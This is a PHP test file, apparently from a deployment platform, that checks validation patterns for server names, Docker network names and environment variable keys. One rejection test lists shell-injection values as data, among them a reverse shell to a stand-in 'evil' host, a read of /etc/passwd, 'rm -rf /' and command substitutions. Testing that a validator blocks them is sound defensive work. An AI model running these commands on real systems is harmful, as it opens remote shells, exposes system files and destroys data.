<?php

use App\Models\EnvironmentVariable;
use App\Support\ValidationPatterns;

it('accepts valid names with common characters', function (string $name) {
    expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
})->with([
    'simple name' => 'My Server',
    'name with hyphen' => 'my-server',
    'name with underscore' => 'my_server',
    'name with dot' => 'my.server',
    'name with slash' => 'my/server',
    'name with at sign' => 'user@host',
    'name with ampersand' => 'Tom & Jerry',
    'name with parentheses' => 'My Server (Production)',
    'name with hash' => 'Server #1',
    'name with comma' => 'Server, v2',
    'name with colon' => 'Server: Production',
    'name with plus' => 'C++ App',
    'unicode name' => 'Ünïcödé Sërvér',
    'unicode chinese' => '我的服务器',
    'numeric name' => '12345',
    'complex name' => 'App #3 (staging): v2.1+hotfix',
]);

it('rejects names with dangerous characters', function (string $name) {
    expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(0);
})->with([
    'semicolon' => 'my;server',
    'pipe' => 'my|server',
    'dollar sign' => 'my$server',
    'backtick' => 'my`server',
    'backslash' => 'my\\server',
    'less than' => 'my<server',
    'greater than' => 'my>server',
    'curly braces' => 'my{server}',
    'square brackets' => 'my[server]',
    'tilde' => 'my~server',
    'caret' => 'my^server',
    'question mark' => 'my?server',
    'percent' => 'my%server',
    'double quote' => 'my"server',
    'exclamation' => 'my!server',
    'asterisk' => 'my*server',
]);

it('generates nameRules with correct defaults', function () {
    $rules = ValidationPatterns::nameRules();

    expect($rules)->toContain('required')
        ->toContain('string')
        ->toContain('min:3')
        ->toContain('max:255')
        ->toContain('regex:'.ValidationPatterns::NAME_PATTERN);
});

it('generates nullable nameRules when not required', function () {
    $rules = ValidationPatterns::nameRules(required: false);

    expect($rules)->toContain('nullable')
        ->not->toContain('required');
});

it('generates application names that comply with NAME_PATTERN', function (string $repo, string $branch) {
    $name = generate_application_name($repo, $branch, 'testcuid');

    expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
})->with([
    'normal repo' => ['owner/my-app', 'main'],
    'repo with dots' => ['repo.with.dots', 'feat/branch'],
    'repo with plus' => ['C++ App', 'main'],
    'branch with parens' => ['my-app', 'fix(auth)-login'],
    'repo with exclamation' => ['my-app!', 'main'],
    'repo with brackets' => ['app[test]', 'develop'],
]);

it('falls back to random name when repo produces empty name', function () {
    $name = generate_application_name('!!!', 'main', 'testcuid');

    expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
        ->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
});

it('accepts valid Docker network names', function (string $network) {
    expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue();
})->with([
    'simple name' => 'mynetwork',
    'with hyphen' => 'my-network',
    'with underscore' => 'my_network',
    'with dot' => 'my.network',
    'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1',
    'alphanumeric' => 'network123',
    'starts with number' => '1network',
    'complex valid' => 'coolify-proxy.net_2',
]);

it('rejects Docker network names with shell metacharacters', function (string $network) {
    expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse();
})->with([
    'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
    'pipe injection' => 'net|cat /etc/passwd',
    'dollar injection' => 'net$(whoami)',
    'backtick injection' => 'net`id`',
    'ampersand injection' => 'net&rm -rf /',
    'space' => 'net work',
    'newline' => "net\nwork",
    'starts with dot' => '.network',
    'starts with hyphen' => '-network',
    'slash' => 'net/work',
    'backslash' => 'net\\work',
    'empty string' => '',
    'single quotes' => "net'work",
    'double quotes' => 'net"work',
    'greater than' => 'net>work',
    'less than' => 'net<work',
]);

it('generates dockerNetworkRules with correct defaults', function () {
    $rules = ValidationPatterns::dockerNetworkRules();

    expect($rules)->toContain('required')
        ->toContain('string')
        ->toContain('max:255')
        ->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN);
});

it('generates nullable dockerNetworkRules when not required', function () {
    $rules = ValidationPatterns::dockerNetworkRules(required: false);

    expect($rules)->toContain('nullable')
        ->not->toContain('required');
});

it('accepts Docker-compatible environment variable keys', function (string $key) {
    expect(ValidationPatterns::isValidEnvironmentVariableKey($key))->toBeTrue();
})->with([
    'letters' => 'APP_ENV',
    'leading underscore' => '_TOKEN',
    'railpack control variable' => 'RAILPACK_NODE_VERSION',
    'digits after first character' => 'NODE_VERSION_20',
    'starts with digit' => '1BAD',
    'hyphen' => 'BAD-KEY',
    'dot' => 'node.name',
    'uppercase dots' => 'XPACK.SECURITY.ENABLED',
    'semicolon' => 'BAD;KEY',
    'space' => 'BAD KEY',
]);

it('rejects environment variable keys Docker cannot represent', function (string $key) {
    expect(ValidationPatterns::isValidEnvironmentVariableKey($key))->toBeFalse();
})->with([
    'equals' => 'BAD=KEY',
    'empty' => '',
]);

it('generates environment variable key rules with correct defaults', function () {
    $rules = ValidationPatterns::environmentVariableKeyRules();

    expect($rules)->toContain('required')
        ->toContain('string')
        ->toContain('max:255')
        ->toContain('regex:'.ValidationPatterns::ENVIRONMENT_VARIABLE_KEY_PATTERN);
});

it('normalizes environment variable keys by trimming surrounding whitespace', function () {
    expect(ValidationPatterns::normalizeEnvironmentVariableKey(' node.name '))->toBe('node.name');
});

it('normalizes environment variable keys before model validation', function () {
    $environmentVariable = new EnvironmentVariable;
    $environmentVariable->key = ' APP_ENV ';

    expect($environmentVariable->key)->toBe('APP_ENV');
});
